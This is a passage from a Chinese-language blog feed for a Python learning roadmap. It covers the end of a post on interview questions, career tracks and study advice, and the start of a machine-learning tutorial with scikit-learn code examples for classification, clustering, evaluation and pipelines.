&lt;p&gt;&lt;strong&gt;Q：Django 的 MVT 是什么？&lt;/strong&gt;
A：Model（数据/ORM）、View（业务逻辑）、Template（展示）。Django 的 View 相当于 MVC 的 Controller，框架负责调度。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q：ORM 的 N+1 问题怎么解决？&lt;/strong&gt;
A：查 N 条记录，每条访问关联对象又查一次库（共 N+1 次）。用 &lt;code&gt;select_related&lt;/code&gt;（JOIN，一对多）和 &lt;code&gt;prefetch_related&lt;/code&gt;（分查合并，多对多）预加载。&lt;/p&gt;
&lt;h3&gt;数据处理&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Q：&lt;code&gt;loc&lt;/code&gt; 和 &lt;code&gt;iloc&lt;/code&gt; 区别（pandas）？&lt;/strong&gt;
A：&lt;code&gt;loc&lt;/code&gt; 按标签选（含末尾），&lt;code&gt;iloc&lt;/code&gt; 按位置选（不含末尾）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q：如何处理缺失值？&lt;/strong&gt;
A：&lt;code&gt;dropna&lt;/code&gt; 删除、&lt;code&gt;fillna&lt;/code&gt; 填充（均值/中位数/前值）、或标记为单独类别。视数据量和业务决定。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q：过拟合和欠拟合？&lt;/strong&gt;
A：过拟合=训练好测试差（模型太复杂学到噪声），欠拟合=都差（模型太简单）。过拟合用正则化/加数据/降复杂度解决。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;五、学习路线总结与进阶方向&lt;/h2&gt;
&lt;h3&gt;全系列知识地图回顾&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Python 学习路线（100 天）完整脉络：
基础篇    语法 → 数据结构 → 函数/OOP → 文件 → 正则/Linux     [01-07]
应用篇    办公自动化 → 数据库 → Django → DRF → 爬虫           [05,08-11]
数据篇    NumPy/pandas → 可视化 → 机器学习                    [12-14]
工程篇    项目实战 → 部署 → 面试（本篇）                      [15]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;三条主要职业赛道&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;赛道&lt;/th&gt;
&lt;th&gt;核心技术&lt;/th&gt;
&lt;th&gt;岗位&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Web 后端&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Django/Flask + DRF + MySQL + Redis + Docker&lt;/td&gt;
&lt;td&gt;后端开发工程师&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;爬虫/数据&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;requests/Scrapy + pandas + 可视化&lt;/td&gt;
&lt;td&gt;爬虫工程师、数据分析师&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;数据科学/AI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;NumPy/pandas + 机器学习 + 深度学习&lt;/td&gt;
&lt;td&gt;数据科学家、算法工程师&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;进阶学习方向&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Web 后端进阶：
- 微服务架构、消息队列（RabbitMQ/Kafka）
- 缓存策略（Redis 深入）、数据库优化、分库分表
- 异步框架（FastAPI）、高并发、性能调优
- Kubernetes 容器编排、云原生

数据/AI 进阶：
- 深度学习（PyTorch/TensorFlow）
- 自然语言处理（NLP）、计算机视觉（CV）
- 大语言模型（LLM）、RAG、AI 应用开发
- 大数据（Spark、Hadoop、Flink）

通用工程能力：
- 数据结构与算法（LeetCode 刷题）
- 设计模式、系统设计
- 计算机基础（操作系统、网络、数据库原理）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;学习方法建议&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. 动手为王：编程是&quot;练&quot;出来的，不是&quot;看&quot;出来的。每个知识点都敲代码。
2. 项目驱动：做完整项目串联知识，项目是最好的学习和展示方式。
3. 刻意练习：反复练薄弱环节，跳出舒适区。
4. 善用文档：官方文档是最权威的学习资料，养成查文档习惯。
5. 读优秀源码：看开源项目怎么组织代码，学工程实践。
6. 坚持输出：写博客、做笔记、讲给别人听（费曼学习法）。
7. 加入社区：GitHub、技术论坛、交流群，遇到问题不孤单。
8. 持续学习：技术更新快，保持好奇心和终身学习。
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;常见问题 Q&amp;amp;A&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1：学完这 15 篇能找工作了吗？&lt;/strong&gt;
A：能打下扎实的&lt;strong&gt;基础&lt;/strong&gt;，但找工作还需要：① 至少 2-3 个&lt;strong&gt;完整项目&lt;/strong&gt;（放 GitHub，写清 README）；② &lt;strong&gt;刷题&lt;/strong&gt;（LeetCode，尤其算法岗）；③ 针对目标岗位&lt;strong&gt;深入&lt;/strong&gt;某一方向（Web/数据/AI）；④ 准备&lt;strong&gt;面试&lt;/strong&gt;（八股 + 项目讲解 + 手撕代码）。基础 + 项目 + 刷题 + 面试准备，四者齐备才有竞争力。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2：Web、爬虫、数据分析、AI，该主攻哪个方向？&lt;/strong&gt;
A：看兴趣和市场需求。&lt;strong&gt;Web 后端&lt;/strong&gt;岗位多、需求稳定、适合入门就业；&lt;strong&gt;数据分析&lt;/strong&gt;入门门槛相对低、各行业都需要；&lt;strong&gt;爬虫&lt;/strong&gt;是细分技能，常和数据分析/后端结合；&lt;strong&gt;AI/算法&lt;/strong&gt;前景好、薪资高，但门槛高（需数学 + 大量实践 + 常要研究生学历）。建议先广后深：全面学完基础，再选 1-2 个方向深耕。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3：项目该做多大的？怎么放进简历？&lt;/strong&gt;
A：不用追求&quot;大型&quot;，&lt;strong&gt;完整、有亮点、能讲清楚&lt;/strong&gt;就行。选一个解决实际问题的项目，用规范的技术栈，放 GitHub（README 写清功能、技术、部署、截图）。简历里突出：用了什么技术、解决了什么问题、有什么量化成果（如&quot;性能提升 50%&quot;&quot;日处理 10 万条数据&quot;）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q4：Docker 是必须学的吗？&lt;/strong&gt;
A：现在&lt;strong&gt;强烈建议学&lt;/strong&gt;。Docker 已成部署标配，解决环境不一致问题，招聘常要求。基础用法（写 Dockerfile、build/run、docker-compose）不难，几天能上手，对部署和协作帮助极大。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q5：如何持续保持学习？&lt;/strong&gt;
A：① 订阅优质技术源（官方文档、技术周刊、公众号）；② 关注 GitHub Trending 看热门项目；③ 定个小目标（每月学个新技术/做个小项目）；④ 写博客输出倒逼输入；⑤ 参与开源；⑥ 加技术社区交流。保持动手，别只收藏不学。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;项目实战与工程化速记&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;项目流程&lt;/strong&gt;：需求 → 选型 → 设计 → 环境 → MVP 迭代 → 测试 → 部署 → 文档复盘&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;虚拟环境&lt;/strong&gt;：每项目独立环境，&lt;code&gt;requirements.txt&lt;/code&gt;/Poetry 管理依赖，可复现&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Git 规范&lt;/strong&gt;：分支开发、规范提交信息（feat/fix）、&lt;code&gt;.gitignore&lt;/code&gt; 排除敏感和临时文件&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;代码质量&lt;/strong&gt;：black 格式化、flake8 检查、PEP8 规范、docstring&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;测试&lt;/strong&gt;：pytest 单元测试、参数化、覆盖率；核心逻辑必测&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Docker&lt;/strong&gt;：Dockerfile 分层优化（依赖在前代码在后）、docker-compose 编排多容器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;部署架构&lt;/strong&gt;：Nginx（反代+静态+SSL）→ Gunicorn → 应用 → DB/Redis&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CI/CD&lt;/strong&gt;：GitHub Actions 自动测试+部署，减少人工失误&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;面试重点&lt;/strong&gt;：list/tuple、深浅拷贝、GIL、装饰器、生成器、MVT、N+1、过拟合&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;求职四件套&lt;/strong&gt;：扎实基础 + 完整项目（GitHub）+ 刷题 + 面试准备&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;系列收官&lt;/h2&gt;
&lt;p&gt;恭喜你走完 Python 学习路线的全部 16 篇！🎉&lt;/p&gt;
&lt;p&gt;从&lt;strong&gt;基础语法&lt;/strong&gt;到&lt;strong&gt;数据结构&lt;/strong&gt;，从&lt;strong&gt;函数与面向对象&lt;/strong&gt;到&lt;strong&gt;文件处理&lt;/strong&gt;，从&lt;strong&gt;办公自动化&lt;/strong&gt;到&lt;strong&gt;正则与 Linux&lt;/strong&gt;，从&lt;strong&gt;语言进阶&lt;/strong&gt;到&lt;strong&gt;数据库&lt;/strong&gt;，从 &lt;strong&gt;Django/DRF&lt;/strong&gt; 到&lt;strong&gt;网络爬虫&lt;/strong&gt;，从 &lt;strong&gt;NumPy/pandas&lt;/strong&gt; 到&lt;strong&gt;数据可视化&lt;/strong&gt;，再到&lt;strong&gt;机器学习&lt;/strong&gt;，最终落地到&lt;strong&gt;项目实战与工程化部署&lt;/strong&gt;——你已经系统地走完了 Python 从入门到能独立开发完整项目的成长路径。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
&lt;strong&gt;编程之路，动手为王。&lt;/strong&gt; 这 16 篇文章给你的是&lt;strong&gt;地图&lt;/strong&gt;，真正的&lt;strong&gt;旅程&lt;/strong&gt;要靠你亲手敲下的每一行代码、做出的每一个项目、踩过的每一个坑。愿你带着这份地图，选定方向，持续精进，做出属于自己的作品。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;学习路线到此圆满结束，但你的 Python 之旅才刚刚开始。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
🎓 &lt;strong&gt;恭喜完成全系列学习！&lt;/strong&gt; 建议回顾 &lt;a href=&quot;/blog/posts/python-roadmap-00-overview/&quot;&gt;Python 学习路线总览&lt;/a&gt; 温故知新，或前往 &lt;a href=&quot;/blog/python-roadmap/&quot;&gt;合集页&lt;/a&gt; 查看全部文章索引。选定一条赛道（Web 后端 / 数据分析 / AI），做 2-3 个完整项目，开始刷题准备面试吧！&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>机器学习入门</title><link>http://117.72.32.87/blog/posts/python-roadmap-14-machine-learning/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/python-roadmap-14-machine-learning/</guid><description>机器学习入门：核心概念与工作流程、scikit-learn 使用范式、监督学习（kNN/决策树/线性回归/逻辑回归/随机森林）、无监督学习（KMeans/PCA）、模型评估（准确率/混淆矩阵/交叉验证）与调优（网格搜索），以及神经网络初步。</description><pubDate>Fri, 18 Sep 2026 08:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文对应仓库 &lt;strong&gt;Day81~90&lt;/strong&gt;：机器学习基础、经典算法（kNN/决策树/回归/SVM/集成学习/聚类/降维）、模型评估与调优、神经网络初步。机器学习让程序从数据中自动学习规律，是人工智能的核心，也是数据分析的进阶方向。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;一、机器学习基础&lt;/h2&gt;
&lt;h3&gt;什么是机器学习&lt;/h3&gt;
&lt;p&gt;机器学习（Machine Learning）让计算机&lt;strong&gt;从数据中自动学习规律&lt;/strong&gt;，无需显式编程，用学到的模型对新数据做预测。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;传统编程：规则 + 数据 → [程序] → 答案
机器学习：数据 + 答案 → [训练] → 规则（模型）→ 预测新数据的答案
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;三大类机器学习&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;特点&lt;/th&gt;
&lt;th&gt;典型算法&lt;/th&gt;
&lt;th&gt;应用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;监督学习&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;有标签（知道正确答案）&lt;/td&gt;
&lt;td&gt;kNN、决策树、回归、SVM、随机森林&lt;/td&gt;
&lt;td&gt;分类、预测&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;无监督学习&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;无标签（自己找规律）&lt;/td&gt;
&lt;td&gt;KMeans、层次聚类、PCA&lt;/td&gt;
&lt;td&gt;聚类、降维&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;强化学习&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;试错 + 奖惩反馈&lt;/td&gt;
&lt;td&gt;Q-Learning、DQN&lt;/td&gt;
&lt;td&gt;游戏、机器人&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;监督学习细分：
- 分类（Classification）：预测离散类别（垃圾邮件/正常，猫/狗）
- 回归（Regression）：预测连续数值（房价、股价、温度）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;机器学习工作流程&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. 收集数据      →  爬虫/数据库/公开数据集
2. 数据预处理    →  清洗、缺失值、编码、归一化、特征工程
3. 划分数据集    →  训练集 / 验证集 / 测试集
4. 选择模型      →  根据问题类型选算法
5. 训练模型      →  fit(X_train, y_train)
6. 评估模型      →  准确率/精确率/召回率/混淆矩阵
7. 调优          →  超参数调优、交叉验证、特征选择
8. 部署预测      →  predict(X_new)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;二、scikit-learn 使用范式&lt;/h2&gt;
&lt;p&gt;scikit-learn（sklearn）是最主流的机器学习库，API 高度统一。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install scikit-learn
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 统一的 API 范式（所有模型都一样！）
from sklearn.model_selection import train_test_split

# 1. 加载数据（以鸢尾花为例）
from sklearn.datasets import load_iris
data = load_iris()
X = data.data          # 特征（输入）
y = data.target        # 标签（输出）

# 2. 划分训练集和测试集
X_train, X_test, y_train, y_test = train_test_split(
    X, y, test_size=0.3, random_state=42, stratify=y
)
# test_size=0.3：30% 做测试；random_state：可复现；stratify：保持类别比例

# 3. 创建模型
from sklearn.neighbors import KNeighborsClassifier
model = KNeighborsClassifier(n_neighbors=5)

# 4. 训练（fit）
model.fit(X_train, y_train)

# 5. 预测（predict）
y_pred = model.predict(X_test)

# 6. 评估（score）
print(model.score(X_test, y_test))    # 准确率
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
sklearn 所有模型都遵循 &lt;strong&gt;&lt;code&gt;fit()&lt;/code&gt; 训练 → &lt;code&gt;predict()&lt;/code&gt; 预测 → &lt;code&gt;score()&lt;/code&gt; 评估&lt;/strong&gt; 的统一接口。换模型只需换一行 import + 实例化，其余流程完全不变。这种一致性是 sklearn 好用的关键。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;数据预处理&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from sklearn.preprocessing import StandardScaler, MinMaxScaler, LabelEncoder, OneHotEncoder

# 标准化（均值0方差1，适合大多数算法）
scaler = StandardScaler()
X_train = scaler.fit_transform(X_train)   # 训练集 fit + transform
X_test = scaler.transform(X_test)         # 测试集只 transform（用训练集的参数！）

# 归一化（缩放到 [0,1]）
MinMaxScaler().fit_transform(X)

# 类别特征编码
LabelEncoder().fit_transform([&quot;男&quot;, &quot;女&quot;, &quot;男&quot;])        # → [1, 0, 1]（有序）
OneHotEncoder(sparse_output=False).fit_transform([[&quot;红&quot;], [&quot;蓝&quot;]])  # 独热（无序）
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
&lt;strong&gt;数据泄漏（Data Leakage）警告&lt;/strong&gt;：预处理（标准化/归一化）必须&lt;strong&gt;先划分训练测试集，再分别处理&lt;/strong&gt;。测试集只能用 &lt;code&gt;transform()&lt;/code&gt;（复用训练集的均值方差），绝不能 &lt;code&gt;fit_transform()&lt;/code&gt;，否则测试集信息泄漏到训练，评估虚高。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;三、监督学习算法&lt;/h2&gt;
&lt;h3&gt;1. kNN（K 近邻）&lt;/h3&gt;
&lt;p&gt;原理：物以类聚。看新样本最近的 K 个邻居，投票决定类别（分类）或取平均（回归）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from sklearn.neighbors import KNeighborsClassifier

knn = KNeighborsClassifier(n_neighbors=5)   # K=5
knn.fit(X_train, y_train)
knn.predict([[5.1, 3.5, 1.4, 0.2]])

# K 值选择：太小易过拟合（受噪声影响），太大易欠拟合（边界模糊）
# 通常取奇数（避免平票），用交叉验证选最优 K
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;kNN 特点：
✅ 简单、无需训练（惰性学习）、天然支持多分类
❌ 预测慢（要算所有距离）、对特征尺度敏感（必须先标准化）、高维失效
适用：小数据、低维、需要简单基线模型
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. 决策树&lt;/h3&gt;
&lt;p&gt;原理：一系列 if-else 判断，像玩&quot;二十个问题&quot;，通过信息增益/基尼系数选择最佳分裂特征。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from sklearn.tree import DecisionTreeClassifier, export_text

tree = DecisionTreeClassifier(max_depth=3, criterion=&quot;gini&quot;)
tree.fit(X_train, y_train)

# 查看决策规则
print(export_text(tree, feature_names=data.feature_names))

# 特征重要性
print(tree.feature_importances_)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;决策树特点：
✅ 可解释性强（能画出树）、不用标准化、能处理数值和类别
❌ 易过拟合（需限制 max_depth / min_samples_split）
关键参数：max_depth（最大深度）、min_samples_split（分裂最小样本）
         criterion（gini 基尼 / entropy 信息熵）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. 线性回归与逻辑回归&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 线性回归（预测连续值，如房价）
from sklearn.linear_model import LinearRegression
reg = LinearRegression()
reg.fit(X_train, y_train)
print(reg.coef_)        # 系数（权重）
print(reg.intercept_)   # 截距
# 方程：y = w1*x1 + w2*x2 + ... + b

# 逻辑回归（尽管叫&quot;回归&quot;，其实是分类！输出概率）
from sklearn.linear_model import LogisticRegression
clf = LogisticRegression()
clf.fit(X_train, y_train)
clf.predict_proba(X_test)   # 输出各类别概率
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
&lt;strong&gt;逻辑回归是分类算法&lt;/strong&gt;，不是回归！它用 Sigmoid 函数把线性输出压缩到 (0,1) 作为概率，常用于二分类（如是否点击、是否患病）。名字有迷惑性，别搞混。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;过拟合 vs 欠拟合：
过拟合（Overfitting）：训练集很好，测试集差 → 模型太复杂，学到了噪声
                       解决：正则化、简化模型、增数据、交叉验证、剪枝
欠拟合（Underfitting）：训练集和测试集都差 → 模型太简单，没学到规律
                       解决：加特征、增复杂度、减正则化
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. 支持向量机（SVM）&lt;/h3&gt;
&lt;p&gt;原理：找一个&lt;strong&gt;间隔最大&lt;/strong&gt;的超平面分隔不同类别，可用核函数处理非线性。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from sklearn.svm import SVC

svm = SVC(kernel=&quot;rbf&quot;, C=1.0, gamma=&quot;scale&quot;)   # rbf 高斯核（非线性）
svm.fit(X_train, y_train)
# kernel: linear（线性）/ rbf（高斯，最常用）/ poly（多项式）
# C: 惩罚系数（大→不容错易过拟合，小→容忍错易欠拟合）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5. 集成学习（随机森林 / Boosting）&lt;/h3&gt;
&lt;p&gt;集成学习：组合多个弱模型成一个强模型（&quot;三个臭皮匠顶个诸葛亮&quot;）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 随机森林（Bagging：多棵决策树并行投票，降方差防过拟合）
from sklearn.ensemble import RandomForestClassifier
rf = RandomForestClassifier(n_estimators=100, max_depth=None, random_state=42)
rf.fit(X_train, y_train)
print(rf.feature_importances_)     # 特征重要性

# GradientBoosting（Boosting：树串行，每棵纠正前一棵的错误，降偏差）
from sklearn.ensemble import GradientBoostingClassifier
gb = GradientBoostingClassifier(n_estimators=100, learning_rate=0.1)
gb.fit(X_train, y_train)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Bagging vs Boosting：
Bagging（随机森林）：并行训练多个模型投票，降方差，抗过拟合，可并行
Boosting（GBDT）：串行训练，后者纠正前者错误，降偏差，精度高，易过拟合
工业界更强：XGBoost / LightGBM / CatBoost（GBDT 的高效实现，竞赛常胜）
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
随机森林是&lt;strong&gt;最实用的默认分类器&lt;/strong&gt;——精度高、抗过拟合、能评估特征重要性、几乎不用调参。拿到分类任务，先用随机森林跑个基线准没错。追求极致精度上 XGBoost/LightGBM。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;四、无监督学习&lt;/h2&gt;
&lt;h3&gt;1. KMeans 聚类&lt;/h3&gt;
&lt;p&gt;原理：把数据分成 K 个簇，使簇内距离最小、簇间距离最大。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from sklearn.cluster import KMeans
from sklearn.datasets import make_blobs

X, _ = make_blobs(n_samples=300, centers=4, random_state=42)

kmeans = KMeans(n_clusters=4, random_state=42, n_init=10)
kmeans.fit(X)                      # 无需标签 y！
labels = kmeans.predict(X)         # 每个点的簇标签
print(kmeans.cluster_centers_)     # 各簇中心

# 用肘部法则选 K（画不同 K 的 inertia，找拐点）
inertias = [KMeans(n_clusters=k, n_init=10).fit(X).inertia_ for k in range(1, 10)]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;KMeans 特点：
✅ 简单高效、易实现
❌ 需预先指定 K、对初始中心和异常值敏感、只适合凸形簇
肘部法则：inertia（簇内平方和）随 K 增大而减小，找&quot;肘部&quot;拐点即最优 K
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. PCA 降维&lt;/h3&gt;
&lt;p&gt;原理：把高维数据投影到低维，保留最大方差（信息），用于可视化、去噪、加速。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from sklearn.decomposition import PCA

pca = PCA(n_components=2)          # 降到 2 维
X_reduced = pca.fit_transform(X)   # 降维
print(pca.explained_variance_ratio_)   # 各主成分解释的方差比例
# 若前2个主成分解释 &amp;gt;85% 方差，说明降维损失小
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;降维好处：减少特征数（防维度灾难）、可视化（降到2/3维）、去噪、加速训练
PCA 是最常用的线性降维；非线性降维有 t-SNE（可视化神器）、UMAP
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;五、模型评估与调优&lt;/h2&gt;
&lt;h3&gt;分类评估指标&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from sklearn.metrics import (accuracy_score, precision_score, recall_score,
                             f1_score, confusion_matrix, classification_report)

y_true = [0, 1, 1, 0, 1]
y_pred = [0, 1, 0, 0, 1]

print(accuracy_score(y_true, y_pred))     # 准确率 = 对的/总数
print(precision_score(y_true, y_pred))    # 精确率 = TP/(TP+FP)  预测为正的里有多少真对
print(recall_score(y_true, y_pred))       # 召回率 = TP/(TP+FN)  真正的里找回多少
print(f1_score(y_true, y_pred))           # F1 = 精确率和召回率的调和平均
print(confusion_matrix(y_true, y_pred))   # 混淆矩阵
print(classification_report(y_true, y_pred))  # 综合报告
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;混淆矩阵（二分类）：
                预测正    预测负
实际正          TP        FN     （漏报）
实际负          FP        TN     （误报）

准确率 Accuracy  = (TP+TN)/总数        整体对的比例（类别不均衡时会骗人！）
精确率 Precision = TP/(TP+FP)         预测为正的准不准（重在不冤枉）
召回率 Recall    = TP/(TP+FN)         正样本找得全不全（重在不漏掉）
F1 = 2 * P*R/(P+R)                   精确率和召回率的平衡
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
&lt;strong&gt;类别不均衡时准确率会骗人&lt;/strong&gt;：如 99% 正常、1% 欺诈，模型全预测&quot;正常&quot;也有 99% 准确率，但一个欺诈都没抓到（召回率=0）。此时要看&lt;strong&gt;精确率、召回率、F1、AUC&lt;/strong&gt;，或用 SMOTE 过采样、调整类别权重。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;交叉验证与网格搜索&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from sklearn.model_selection import cross_val_score, GridSearchCV

# K 折交叉验证（更可靠地评估模型，默认 5 折）
scores = cross_val_score(rf, X, y, cv=5, scoring=&quot;accuracy&quot;)
print(scores.mean(), scores.std())      # 5 次准确率的均值和标准差

# 网格搜索（自动找最优超参数组合）
param_grid = {
    &quot;n_estimators&quot;: [50, 100, 200],
    &quot;max_depth&quot;: [None, 5, 10],
}
grid = GridSearchCV(rf, param_grid, cv=5, scoring=&quot;accuracy&quot;, n_jobs=-1)
grid.fit(X, y)
print(grid.best_params_)                # 最优参数
print(grid.best_score_)                 # 最优得分
print(grid.best_estimator_)             # 最优模型
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;交叉验证：把数据分 K 份，轮流用 K-1 份训练、1 份验证，取平均。
         好处：充分利用数据、评估更稳定、减少过拟合风险。
网格搜索：遍历所有超参数组合，配合交叉验证选最优。
         参数多用 RandomizedSearchCV（随机采样，更快）。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Pipeline（管道，防止数据泄漏）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from sklearn.pipeline import Pipeline

# 把预处理 + 模型串成一条流水线
pipe = Pipeline([
    (&quot;scaler&quot;, StandardScaler()),          # 先标准化
    (&quot;clf&quot;, RandomForestClassifier()),     # 再分类
])
pipe.fit(X_train, y_train)                 # 一起 fit，自动避免数据泄漏
pipe.score(X_test, y_test)

# Pipeline 配合网格搜索（参数名用 &quot;步骤名__参数名&quot;）
GridSearchCV(pipe, {&quot;clf__n_estimators&quot;: [50, 100]}, cv=5).fit(X, y)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;六、神经网络初步&lt;/h2&gt;
&lt;h3&gt;从神经元到深度学习&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;人工神经元：输入 x → 加权求和 + 偏置 → 激活函数 → 输出
   输出 = activation(w1*x1 + w2*x2 + ... + b)

激活函数（引入非线性）：
- ReLU：f(x)=max(0,x)      最常用，解决梯度消失
- Sigmoid：f(x)=1/(1+e^-x) 输出(0,1)，二分类输出层
- Softmax：多分类输出层（输出概率和为1）
- Tanh：输出(-1,1)

神经网络 = 多层神经元堆叠（输入层 → 隐藏层 → 输出层）
深度学习 = 多层（深层）神经网络
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;sklearn 简易神经网络&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from sklearn.neural_network import MLPClassifier

mlp = MLPClassifier(hidden_layer_sizes=(64, 32),   # 两个隐藏层
                    activation=&quot;relu&quot;,
                    max_iter=1000, random_state=42)
mlp.fit(X_train, y_train)
print(mlp.score(X_test, y_test))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;深度学习框架概览&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;sklearn MLP：小数据、快速原型
真正的深度学习用专业框架：
- PyTorch（学术界主流、动态图、灵活，推荐入门）
- TensorFlow/Keras（工业界、生态全、部署方便）
应用：CNN（图像）、RNN/LSTM（序列/时间）、Transformer（NLP/大模型）
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
